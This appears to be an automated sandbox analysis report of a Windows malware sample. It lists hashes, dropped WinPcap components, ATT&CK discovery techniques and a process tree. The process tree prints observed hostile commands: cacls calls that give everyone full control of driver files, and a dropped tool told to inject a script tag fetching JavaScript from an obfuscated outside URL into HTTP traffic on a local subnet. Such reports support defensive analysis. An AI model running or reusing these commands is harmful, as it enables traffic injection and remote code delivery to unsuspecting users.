f8d8cc148780ddee06315105a0cffa14df78b301aeefcc61c0df85806ecb0701

General

Target

bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe
Size

525KB
MD5

bc8c9a6238d401deef5d4be9762111d0
SHA1

7bfedd5c4701d3baf2e2877ae617436c39b72d1f
SHA256

f8d8cc148780ddee06315105a0cffa14df78b301aeefcc61c0df85806ecb0701
SHA512

6c34c13bc2175a5972984eab4f997611b440566b4505d5e74ff03f1a0c7817e4ac63d55c8874768c1f3c254485adbee41e0af9aa7f3d46f3a1588ac2611777c4
SSDEEP

6144:ThcMSbaohE9q2PsXrSVew/X2+wZHeSPVep6s6BCF6GfEWfadRNH0QGKoS:TSNa2E9/cZw/X6eSPtfS6G6NoS

Score

8^/10

discovery

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\drivers\npf.sys	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
2532	360ucwu.exe

Loads dropped DLL 5 IoCs

pid	Process
2532	360ucwu.exe
2532	360ucwu.exe
2532	360ucwu.exe
2532	360ucwu.exe
2532	360ucwu.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Packet.dll	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\WanPacket.dll	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\wpcap.dll	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\360ucwu.exe	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	360ucwu.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1288 wrote to memory of 4560	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	95
PID 1288 wrote to memory of 4560	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	95
PID 1288 wrote to memory of 4560	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	95
PID 1288 wrote to memory of 2736	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	97
PID 1288 wrote to memory of 2736	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	97
PID 1288 wrote to memory of 2736	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	97
PID 1288 wrote to memory of 4816	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	99
PID 1288 wrote to memory of 4816	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	99
PID 1288 wrote to memory of 4816	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	99
PID 1288 wrote to memory of 5040	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	101
PID 1288 wrote to memory of 5040	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	101
PID 1288 wrote to memory of 5040	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	101
PID 1288 wrote to memory of 4960	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	103
PID 1288 wrote to memory of 4960	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	103
PID 1288 wrote to memory of 4960	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	103
PID 1288 wrote to memory of 2532	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	105
PID 1288 wrote to memory of 2532	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	105
PID 1288 wrote to memory of 2532	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	105
PID 1288 wrote to memory of 4472	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	110
PID 1288 wrote to memory of 4472	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	110
PID 1288 wrote to memory of 4472	1288	bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe	110

C:\Users\Admin\AppData\Local\Temp\bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\bc8c9a6238d401deef5d4be9762111d0_JaffaCakes118.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\drivers\npf.sys /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4560
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\Packet.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2736
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\WanPacket.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4816
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\wpcap.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5040
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\npptools.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4960
- C:\Windows\SysWOW64\360ucwu.exe
  -idx 0 -ip 10.127.1.2-10.127.1.254 -port 80 -insert "<script language=JavaScript src=http://b%77z.K%77%69k.%54o/tj.js></script>"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2532
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 12.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\12.bat

Filesize
2KB

MD5
9a3059f67908165abf03b7cb7741ba11

SHA1
1881920b6e7b49cdff05616e8ec99af8b92d1c5a

SHA256
d5f826bac43cf190b98408189a3d7dfa1890647f0199b9d60c84f85a76ed1891

SHA512
d5c9b1e8e06848594d1c572b5df5bf14c935d0a8d23c2ded758ca2621ec74f3e64982b98ccf2360763b1ec66d30165c025383ebe788e25867f44f2344e3cf961

Download Submit
C:\Windows\SysWOW64\360ucwu.exe

Filesize
8.0MB

MD5
6b0b8f526f0325f90525842c4aea776d

SHA1
1501ab129ae95395e7bb65fd111d13adb895a940

SHA256
9e75f698d8e6f881752215ed71fda685073330e239f36e7e656b1a5b09d04465

SHA512
696957f856b42b7963898f145fbad0a00ac0a08bd65274357e58369c20da34640c22220a396fa21d9b0a382a235606673f92545371c67bfba75d381c646cdc31

Download Submit
C:\Windows\SysWOW64\Packet.dll

Filesize
86KB

MD5
9062aeea8cbfc4f0780bbbefad7cebcb

SHA1
c4ad39ec51ad0e84fe58f62931d13cddfde3189e

SHA256
b2535129b26366484c487cc2ce536d8fcfa9d1ac1dab0db9560b4532012c352c

SHA512
60957548fc2272998aea518acf3b1812ed77f73e960a99ddf0d6b474b0858225286c26554bf81c00acf3cb1c77c5ce458d80e149ed4766287d7e32af9681e646

Download Submit
C:\Windows\SysWOW64\WanPacket.dll

Filesize
66KB

MD5
fdd104a9fd3427a1df37041fa947a041

SHA1
cca1881a3c02033008f78cc39b712b637c7f3e13

SHA256
384e928f13bc1c25ca16b3247d7ca942aec6834fadb05b1487f2c975678d4a9a

SHA512
9dd082eb245b443cc75b37c69f0a17e15fcb9cdb676b058d87f9805ec7a928e721a681b940fcdd56fd81da4d308f0d514870c526c4f9c715b256a97ab6bb29f7

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
234KB

MD5
ce842d25e5b7e6ff21a86cad9195fbe8

SHA1
d762270be089a89266b012351b52c595e260b59b

SHA256
7e8c0119f352424c61d6fad519394924b7aedbf8bfb3557d53c2961747d4c7f3

SHA512
84c23addda6ff006d4a3967b472af10a049b2a045d27d988d22153fc3ba517e21520a31eb061a2ef2abf302e365564dd4601d240ec3d5894fb96f10a9fae97d6

Download Submit
memory/1288-0-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1288-1-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1288-24-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2532-9-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/2532-21-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/2532-16-0x0000000000520000-0x0000000000535000-memory.dmp

Filesize
84KB

Download
memory/2532-20-0x0000000000540000-0x0000000000550000-memory.dmp

Filesize
64KB

Download

Analysis

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